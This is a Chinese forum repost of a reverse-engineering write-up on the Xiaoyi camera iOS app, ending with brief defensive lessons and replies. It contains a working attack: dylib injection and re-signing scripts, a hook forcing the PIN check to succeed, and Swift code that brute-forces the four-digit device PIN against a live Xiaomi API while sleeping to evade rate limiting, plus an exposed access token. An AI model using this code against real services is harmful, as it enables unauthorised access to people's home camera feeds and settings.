小蚁摄像机App加密探究


#1

转自简书 https://www.jianshu.com/writer#/notebooks/4365539/notes/25491943

概述

本次分析,选取了小蚁摄像机App的iOS版本,主要目标是从数据缓存及数据传输方面探索App数据方面的安全性。

iOS系统中,本地缓存通常以数据库、plist、序列化文件、UserDefault、KeyChain等为媒介。其中UserDefault、KeyChain都采用iOS自带的加密方式,在不明确键值及密钥的情况下,基本上无法破解。

数据传输方面,在https普及后,App基本上都是采用这种方式进行的。虽然抓包已经失效,但并不代表不可以从App中获取发送的请求及响应,依然可以通过对关键请求进行hook,打印参数的方法来得到接口信息。

本次逆向使用非越狱手机进行,采用最暴力、最直接的方法 —— 打印日志。思路是先将libReveal.dylib、libCommonCrack.dylib等动态库注入App,通过classdump、Hopper得到关键函数,再对关键函数进行hook,打印信息,获取接口,暴力破解。

1 环境要求

iPhone手机,系统不做要求,越狱不做要求

Xcode及iOSOpenDev套件

yololib动态注入工具

Hopper Disassembler v4 反编译工具

Reveal 界面分析工具

小蚁摄像机iOS版本(2.19.3)

2 安装包破解

破解版本安装包获取的途径非常多,常用的方法是直接使用越狱的手机,借助dumpcrypted/Clutch等工具,获取砸壳后的二进制文件。

由于本次分析是基于非越狱的手机,这里通过PP助手官网下载越狱的安装包。

2.1 分析网页源码

搜索找到“小蚁摄像机”的应用链接 https://www.25pp.com/ios/detail_1598325/

打开网页检查器,定位到“下载越狱版本”的标签上,得到app的下载地址appdownurl和点击响应事件ppOneKeySetup

appdownurl=“aHR0cDovL3IxMS4yNXBwLmNvbS9zb2Z0LzIwMTgvMDMvMTUvMjAxODAzMTVfMjE1NF8yMTg5ODAwMzM4ODguaXBh”

onclick=“return ppOneKeySetup(this)”

根据ppOneKeySetup及appdownUrl,在 ***pp_onekey-d17d98b4.js***定位到相关代码:

(C = h.href, E = h.getAttribute("appdownurl"), E && E.length > 0 && (C = o.base64decode(o.utf8to16(E)))

简单分析代码,脚本只是将appdownUrl进行了base64的解码,并没有其他特殊操作。对appdownUrl进行base64Decode后,得到ipa下载地址http://r11.25pp.com/soft/2018/03/15/20180315_2154_218980033888.ipa

下载ipa并解压缩后,使用otool进行验证,可以看到armv7及arm64的crypt字段都为0,说明下载的安装包二进制文件已经被砸壳了。

jiangbindeMac-mini:V2.0 jiangbin$ file YiHome2.0
YiHome2.0: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O executable arm_v7] [arm64]
YiHome2.0 (for architecture armv7):	Mach-O executable arm_v7
YiHome2.0 (for architecture arm64):	Mach-O 64-bit executable arm64
jiangbindeMac-mini:V2.0 jiangbin$ otool -l YiHome2.0 | grep crypt
     cryptoff 16384
    cryptsize 16547840
      cryptid 0
     cryptoff 16384
    cryptsize 18874368
      cryptid 0

2.2 重签名

为了查看App沙盒中的文件,需要使用开发证书对app进行重新签名。重签名脚本见附录重签名脚本

使用一段时间后,打开沙盒目录,缓存数据初见端倪,接下来对相关文件行分析:
2.png

3 本地缓存分析

对沙盒Documents目录,进行简单分析:

  • 4502360:可能是类似与userId的字段
  • account.plist:记录了一些参数,只有value,没有key值
  • devices:里面文件夹以deviceId为名称,区分不同的设备,每个子文件夹内有两张封面图 placeholder.png、placeholder_blur.png,分别对应摄像头设置密码前后的封面图; placeholder_blur.png只是将封面图作了高斯模糊处理
  • log:自带的打印日志,信息很少,除了deviceId外,没有其他可用信息
  • yydb.sqlite3:缓存了报警信息、登录信息等内容,密码相关的信息都是加密过的

3.1 yydb.sqlit3

发现一个有意思的现象,对于alarm信息,数据库中存在两份数据表,alarm_mialarm_yi。联想到之前设备添加的提示信息,可以断定,小蚁从小米独立出来以后,引入了自己的账号系统,但是为了兼容1代的摄像头,又不得不使用小米账号进行第三方登录。估计这一部分的账号会逐步进行淘汰,App考虑到后期的维护性,直接重新建了一份新的表格alarm_yi,以减少数据的冲突和维护。下面对表alarm_mi进行分析:

  • deviceId:yunyi.TNPCHNA-695008-FUKEN
  • id:数据库自增长的id,与消息id无关
  • time:消息触发时间,结合表 alarm_list_read_2 ,App中将此键值作为消息的索引,也就是说从平台拉取的消息是不带messageId的,App需要通过此值来进行查找、删除、标记等操作
  • videoUrl: 报警消息对应的预览视频地址,每个视频只有6s,如果要查看完整的视频,需要在视频播放结束后,主动跳转到完整视频界面去查看。使用Signature、Expires、GalaxyAccessKeyId等参数检验,在Expires时间内,可以直接下载,但由于不是标准格式的mp4格式文件,无法直接播放
    https://cnbj2.fds.api.xiaomi.com/motiondetection/2018%2F03%2F19%2F337701719%2Fyunyi.TNPCHNA-695008-FUKEN_081922470.mp4?
    GalaxyAccessKeyId=5561734629076&Expires=1521508775000&Signature=mLcdWGRz+oYaxS4eOlMcO6o9YL8=
  • videoImageUrl: 报警消息封面图,与videoUrl类似
  • video_pwd:每行对应的密码均不一样,即相同的视频密码,不同的录像段对应的缓存密码是不同的,_SJgn2EMj6pWl2WH3x3qSA,猜测应该是经过了多种对称加密
  • pic_pwd:与video_pwd相似

从表内容来看,数据库对密码字段进行了较为复杂的加密,无法通过反解析来得到视频的原始密码。另外Expires时间设置得比较短,只有30分钟,超过30min后,下载链接失效,从而保证了一定的安全性。

3.2 log文件

App自带的日志信息,位于log/y_log.txt。从打开App开始,输入摄像机密码,再到拉流成功,导出日志文件。

除了前面分析过的deviceId外,没有其他多余的信息

...
2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3003

2018-03-20-04-03-26 -[JJP2PControl onCameraError:errorCode:] [Line 1923] 😡 TNPCHNA-695008-FUKEN,error:-3019

2018-03-20-04-03-32 -[JJCameraPlayViewController viewDidLoad] [Line 125] connect TNPCHNA-695008-FUKEN p2p:TNPCHNA-695008-FUKEN
....

3.3 本地缓存总结

从数据库、日志文件分析,都没有敏感的数据信息暴露,本地数据的缓存在正常途径下还是很安全的。

另外,数据库、缓存文件中,或许为了设备安全,并没有设备参数相关的数据,猜测应该是根本没有缓存。验证的方法也很简单:关闭设备密码,返回到主页,打开手机飞行模式,再次进入设备设置,发现提示设备连接失败,只展示了摄像机名称这一栏。

从目前来看,想要实现破解密码的目标似乎很难行通,但事实或许并不是如此,接下来,我们从代码层面对App进一步分析。

4 动态注入及源码分析

AppStore版本的程序,禁止使用非系统的动态库,主要是为了安全和性能的考虑。但不意味着App不可以使用动态库,只要将动态库加入到程序的bundle中,并使用相同的证书对动态库、app进行签名,就可以正常使用。

4.1 注入libCommonCrack.dylib

使用iOSOpenDev新建动态库工程,生成libCommonCrack.dylib,该动态库作用如下:

(1)导入公共log模块代码,重定向NSLog、print等输出到沙盒文件中

(2)对关键代码进行Hook

(3)启动libReveal.dylib

生成dylib后,使用yololib将其注入到二进制文件YiHome2.0中:

APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"

#注入动态库
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME

4.2 启动Reveal

参考Reveal的帮助文档,在AppDelegate+Hook.m中,Hook住idFinishLaunchingWithOptions函数,加入启动libReveal.dylib的代码

CHDeclareMethod(0, void, AppDelegate, loadReveal)
{
    if (NSClassFromString(@"IBARevealLoader") == nil)
    {
        NSString *revealLibName = @"libReveal";
        NSString *revealLibExtension = @"dylib";
        NSString *error;
        NSString *dyLibPath = [[NSBundle mainBundle] pathForResource:revealLibName ofType:revealLibExtension];
        
        NSLog(@"Loading dynamic library: %@", dyLibPath);
        dlopen([dyLibPath cStringUsingEncoding:NSUTF8StringEncoding], RTLD_NOW);
    }
}

注入libCommonCrack.dylib,并重新签名,安装、启动App,再次打开沙盒目录。生成了AppLog目录,打开日志文件,Reveal正常启动:

018-03-20 08:53:45.601 YiHome2.0[583:97603] Loading dynamic library: /var/containers/Bundle/Application/7CCCADB7-AF78-4E16-8CFD-2CB486C09C45/YiHome2.0.app/libReveal.dylib
2018-03-20 08:53:45.735 YiHome2.0[583:97603]  INFO: Reveal Server started (Protocol Version 25).

从App上进入密码校验界面,Mac上同步更新Reveal展示,得到相关信息,即密码输入框所在的父视图 JJPincodeViewController

4.png

至此,第一个线索浮出水面。通过操作可以得知,进入设置、视频界面前,需要输入密码进行检验。如果直接跳过这个检验的步骤,是不是就可以直接观看视频、设置设备呢?接下来重点对JJPincodeViewController进行代码分析。

5 源码Hook

使用class-dump对二进制文件进行头文件导出,初步分析JJPincodeViewController.h,找到两个关键函数:

- (void)yyBlockResponsePincodeCheckWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3;
- (_Bool)___pincodeIsSuccessWithRequest:(id)arg1 response:(id)arg2 success:(_Bool)arg3 isCheckout:(_Bool)arg4;

再使用Hopper查看JJPincodeViewController的代码,梳理函数调用关系,大致得出如下的调用过程:

将返回的结果处理函数___pincodeIsSuccessWithRequest,直接return true,一试究竟。

5.1 JJPincodeViewController+Hook

libCrackCommon工程中,加入JJPincodeViewController+Hook.m,对___pincodeIsSuccessWithRequest函数进行返回值重写

CHMethod(4, bool, JJPincodeViewController, ___pincodeIsSuccessWithRequest, id, arg1, response, id, arg2, success, bool, arg3, isCheckout, bool , arg4 )
{
    NSLog(@"JJPincodeViewController:: ___pincodeIsSuccessWithRequest %@ - %@ - %d - %d", arg1, arg2, arg3, arg4);
    
    if ([arg2 isKindOfClass:NSClassFromString(@"APPResponse")]) {
        APPResponse *response = (APPResponse *)arg2;
        NSLog(@"JJPincodeViewController dictResponse::%@", response.dictResponse);
    }
    
    return YES;
}

完成打包后,直接输入一个错误的密码,确实不再有密码错误的提示,直接进入了视频播放界面。

开始拉流,但是提示连接失败;进入设置界面,加载过后,也是失败。

可以肯定,App采用了双重的加密机制,虽然可以绕过前面的密码验证步骤,但后面的请求应该也使用了密码进行检验。

至此,绕过密码验证的路也被堵死,接下来直接从接口进行分析。请求是通过YYHttpClient发送的,响应通过block返回,将YYHttpClient的发送和响应都写到日志中,看看能否得到有用信息。

5.2 YYHttpClient+Hook

这里,直接hook住post的请求,打印请求体及响应。

//- (id)singlePostWithUrl:(id)arg1 completionBlock:(id)arg2;
CHMethod(2, BOOL, YYHttpClient, singlePostWithUrl, id, arg1, completionBlock, id, arg2 )
{
    id result = CHSuper(2, YYHttpClient, singlePostWithUrl, arg1, completionBlock, arg2);
    NSLog(@"YYHttpClient::singlePostWithUrl request %@ - %@ ", arg1, arg2);
    NSLog(@"YYHttpClient::singlePostWithUrl result %@ ", result);
    
    return result;
}

再次打开日志,请求参数及结果一目了然:

==============================================
url    -> https://openapp.io.mi.com/openapp/pincode/check?data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
action -> https://openapp.io.mi.com/openapp/pincode/check
params -> data=%7B%22did%22%3A%22yunyi.TNPCHNA-695008-FUKEN%22%2C%22pincode%22%3A%220411%22%7D&accessToken=V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ&clientId=2882303761517230659
==============================================
 - <__NSStackBlock__: 0x16fde5960> 
2018-03-20 08:53:50.363 YiHome2.0[583:97603] YYHttpClient::singlePostWithUrl result (null) 
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController:: ___pincodeIsSuccessWithRequest <ASIFormDataRequest: 0x10203f000> - <APPResponse: 0x171666100> - 1 - 1
2018-03-20 08:53:50.672 YiHome2.0[583:97603] JJPincodeViewController dictResponse::{
    code = 0;
    message = ok;
    result = "";
}

对url中的data参数进行转义:

data={"did":"yunyi.TNPCHNA-695008-FUKEN","pincode":"0411"}

4个请求参数,分别如下:

  • did:yunyi.TNPCHNA-695008-FUKEN,即前面分析过的设备id
  • pincode:4位明文的密码
  • clientId:应该是平台分配的程序标识,这个值是固定的,沙盒中的account.plist文件也有这个值
  • accessToken:用于免登录和api请求

先尝试通过https://www.sojson.com/httpRequest/模拟请求,看能否通过 ,得到返回结果:

{
    "code": 0,
    "message": "ok",
    "result": {
        "ret": -1
    }
}

得到正常的响应,ret返回-1表示失败。使用错误的密码多试几次后,返回的数据也是一样的,可见平台并未对该接口pincode/check作保护,App限制5次输入也是本地的行为。请求参数中did、clientId是固定值,在不注销的情况下accessToken也是不变的,所以只需要将pincode从0000枚举到9999,进行模拟的post请求,就可以暴力破解设备密码

直接使用Almofire,发送模拟请求,发现每进行100次的串行请求,平台返回frequent的错误。这里每模拟请求50次,延迟10s继续进行,以规避该错误,具体参考代码见附录Almofire模拟请求。最终得到正确的密码 0411

Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0401
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0402
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0403
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0404
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0405
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0406
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0407
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0408
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0409
Data: {"code":0,"message":"ok","result":{"ret":-1}}
Failed...0410
Data: {"code":0,"message":"ok","result":""}
Succeed...0411

除此之外,还可以得到很多其他的接口……

6 总结

综上,从数据缓存、数据传输方面分析了小蚁摄像机App的加密方式及安全性。从表象上看,缓存使用了复杂的对称加密方式,数据传输使用了HTTPS方式,安全性应该是非常高了。但是在hook之下,隐患一览无遗,扯去了安全的外衣,剩下的是一系列明文传输的接口。
从中,我觉得有几点值得反思:

(1)密码校验,平台一定要做防止暴力破解,而不是从App端进行限制

(2)Http请求,要在请求头中加上比较复杂的签名算法

(3)发布版本,需要屏蔽日志输出相关函数,以免被进行hook

附录

重签名脚本


APP_NAME="YiHome2.0"
DYLIB_NAME="libCrackCommon.dylib"
TARGET_NAME="Crack-${APP_NAME}.ipa"
TARGET_BUNDLEID="com.360ants.yihome"
KEYCHAIN="6F52A56706B4E6CB90C605FF39841ACB01C8558C"

#配置信息打印
function printXcodeInfo()
{
    xcode-select --version
    xcode-select --print-path
    security find-identity -v -p codesigning
}

#注入动态库
./yololib $APP_NAME.app/$APP_NAME $DYLIB_NAME

#将文件拷贝到目录下
cp $DYLIB_NAME $APP_NAME.app/$DYLIB_NAME
rm -f $APP_NAME.app/embedded.mobileprovision
rm -f -r $APP_NAME.app/_CodeSignature
cp embedded.mobileprovision $APP_NAME.app/embedded.mobileprovision

#删除watch及PlugIns文件夹【可能会造成签名不正确的问题】
rm -r $APP_NAME.app/Watch/
rm -r $APP_NAME.app/PlugIns/

#替换图标
function copyIconWithSize () {
    SIZE=$1
    cp ./Icons/AppIcon$1x$1@2x.png $APP_NAME.app/AppIcon$1x$1@2x.png
    cp ./Icons/AppIcon$1x$1@3x.png $APP_NAME.app/AppIcon$1x$1@3x.png
}

copyIconWithSize "29"
copyIconWithSize "40"
copyIconWithSize "57"
copyIconWithSize "60"

#改变bundle identifier
echo "change bundle ID to ${TARGET_BUNDLEID}"
`/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier ${TARGET_BUNDLEID}" $APP_NAME.app/Info.plist`

#先对动态库签名
codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/$DYLIB_NAME
#codesign -v -f -s "${KEYCHAIN}" $APP_NAME.app/Frameworks/*

#再对app签名
codesign -v -f -s "${KEYCHAIN}" --entitlements Entitlements.plist $APP_NAME.app

#删除旧的ipa,覆盖时可能会影响安装 
rm -r $TARGET_NAME

#使用Zip打包,注意文件结构 Payload/xxx.app
mkdir Payload
cp -r $APP_NAME.app Payload
zip -qr $TARGET_NAME Payload

#清除临时文件夹Payload
rm -rf Payload

#检验
echo "============================================================="
echo "签名信息:"
codesign -dvvv $APP_NAME.app

Almofire模拟请求代码段

func testYiHomePincode(pincode: String, completion: @escaping (_ result: Bool) -> (Void)) -> DataRequest {
        let urlString = "https://openapp.io.mi.com/openapp/pincode/check"
        let header: HTTPHeaders = [
            "Content-Type" : "application/x-www-form-urlencoded"
        ]
        
        //注意data为非标准格式json
        let parameters: Parameters = [
            "data": "{\"did\": \"yunyi.TNPCHNA-695008-FUKEN\", \"pincode\": \"\(pincode)\"}",
            "accessToken": "V2_35g_rhFEw_0GXiBzCSf_l7ZRjqy9OLJ3sahoPNoORzn6olv-PWqTGDLCNKmow1pQ59pWu74JRBr7rx3V5vxPdPBIyUwBIJIdjQipGmVfY8rF8_4oB5vexgy02H3VaynTZoF8H68IG0isVZfiXIbnhQ",
            "clientId": "2882303761517230659"
        ]
        
        let request = Alamofire.request(urlString, method: .post, parameters: parameters, encoding: URLEncoding.default, headers: header)
        request.response { response in
            
            if let data = response.data, let utf8Text = String(data: data, encoding: .utf8) {
                print("Data: \(utf8Text)")
                
                let json = JSON.parse(utf8Text)
                if let dic = json.dictionaryObject {
                    if let result = dic["result"] {
                        if result as? [String: Any] != nil {
                            print("Failed...\(pincode)")
                            completion(false)
                        } else {
                            print("Succeed...\(pincode)")
                            completion(true)
                        }
                    } else {
                        print("Failed...\(pincode)")
                        completion(false)
                    }
                }
            }
        }
        
        return request
    }
    
    
    func testYiHome(index: Int) {
        
        let pincode = String(format: "%04d", index)
        
        _ = self.testYiHomePincode(pincode: pincode, completion: { (result) -> (Void) in
            if result == false {
                
                if index != 0, index % 50 == 0 {
                    sleep(10)
                }
                
                self.testYiHome(index: index+1)
            }
        })
    }
    

#2

手动点赞👍


#3

手动膜:hugs:


#4

明天来小蚁报道